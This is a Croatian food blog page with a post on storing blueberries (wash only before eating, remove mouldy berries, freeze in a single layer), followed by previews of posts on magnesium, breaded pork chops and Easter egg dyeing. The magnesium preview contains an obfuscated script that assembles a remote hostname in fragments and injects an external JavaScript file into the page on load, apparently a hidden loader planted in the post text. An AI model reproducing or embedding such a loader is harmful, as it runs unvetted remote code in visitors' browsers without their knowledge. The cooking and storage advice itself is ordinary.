ZAŠTO BOROVNICE NE TREBA ODMAH PRATI NAKON KUPNJE?




Zašto borovnice ne treba odmah prati nakon kupnje?




Borovnice su jedno od omiljenih bobičastih plodova, no mnogi već pri dolasku kući naprave pogrešku koja može skratiti njihov rok trajanja. Iako se čini logičnim voće odmah oprati i spremiti u hladnjak, upravo bi to moglo biti razlog zbog kojeg se borovnice već nakon nekoliko dana počnu kvariti.




Operite ih tek prije konzumacije
Najbolje ih je čuvati neopranima, u originalnoj ambalaži ili plitkoj posudi koja omogućuje cirkulaciju zraka. Tek kada ih planirate pojesti, dodati u smoothie ili iskoristiti za kolač, isperite ih pod hladnom vodom i nježno osušite papirnatim ručnikom.
 
Na taj način borovnice će dulje ostati čvrste, sočne i zadržati svoj karakterističan okus.




Uvijek pregledajte pakiranje
Prije spremanja u hladnjak vrijedi odvojiti nekoliko trenutaka i pregledati plodove. Ako primijetite zgnječenu ili pljesnivu borovnicu, uklonite je odmah jer se plijesan vrlo brzo može proširiti na ostale plodove.



 
Možete ih i zamrznuti
Ako ste kupili veću količinu i ne planirate ih brzo potrošiti, borovnice su odlične za zamrzavanje.

Prije toga ih operite, dobro osušite i rasporedite u jednom sloju na pladanj. Nakon što se zamrznu, prebacite ih u vrećicu ili posudu. Tako će ostati odvojene i moći ćete uzeti onoliko koliko vam je potrebno.
 
Bilo da ih jedete svježe, dodajete u zobenu kašu ili pripremate omiljeni ljetni kolač, pravilno čuvanje pomoći će da što dulje ostanu svježe i ukusne.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više